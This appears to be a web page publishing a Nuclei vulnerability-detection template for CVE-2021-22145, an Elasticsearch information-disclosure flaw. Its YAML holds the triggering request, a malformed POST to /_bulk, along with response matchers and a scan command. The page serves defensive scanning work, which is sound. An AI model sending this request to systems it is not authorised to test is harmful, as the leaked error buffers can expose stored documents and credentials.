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Elasticsearch 7.10.0-7.13.3 - Information Disclosure

ID: CVE-2021-22145

Severity: medium

Author: dhiyaneshDk

Tags: cve2021,cve,elasticsearch,packetstorm,elastic

Description

Section titled “Description”

ElasticSsarch 7.10.0 to 7.13.3 is susceptible to information disclosure. A user with the ability to submit arbitrary queries can submit a malformed query that results in an error message containing previously used portions of a data buffer. This buffer can contain sensitive information such as Elasticsearch documents or authentication details, thus potentially leading to data modification and/or execution of unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2021-22145


info:
  name: Elasticsearch 7.10.0-7.13.3 - Information Disclosure
  author: dhiyaneshDk
  severity: medium
  description: ElasticSsarch 7.10.0 to 7.13.3 is susceptible to information disclosure. A user with the ability to submit arbitrary queries can submit a malformed query that results in an error message containing previously used portions of a data buffer. This buffer can contain sensitive information such as Elasticsearch documents or authentication details, thus potentially leading to data modification and/or execution of unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Upgrade Elasticsearch to a version that is not affected by CVE-2021-22145.
  reference:
    - https://github.com/jaeles-project/jaeles-signatures/blob/e9595197c80521d64e31b846808095dd07c407e9/cves/elasctic-memory-leak-cve-2021-22145.yaml
    - https://packetstormsecurity.com/files/163648/ElasticSearch-7.13.3-Memory-Disclosure.html
    - https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22145
    - https://security.netapp.com/advisory/ntap-20210827-0006/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-22145
    cwe-id: CWE-209
    epss-score: 0.96444
    epss-percentile: 0.99578
    cpe: cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: elastic
    product: elasticsearch
    fofa-query: index_not_found_exception
  tags: cve2021,cve,elasticsearch,packetstorm,elastic


http:
  - method: POST
    path:
      - '{{BaseURL}}/_bulk'


    body: |
      @


    headers:
      Content-Type: application/json


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'root_cause'
          - 'truncated'
          - 'reason'
        condition: and


      - type: status
        status:
          - 400
# digest: 490a0046304402207655d97adc47be49a45976d425a69dee73d9c6bbfe5d4d0cd1232a5635d8ccd8022005986c15cd6e0e29664e4f64a83fb5ca8765df71be4a79c9e2161daa535f02da:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-22145.yaml"

View on Github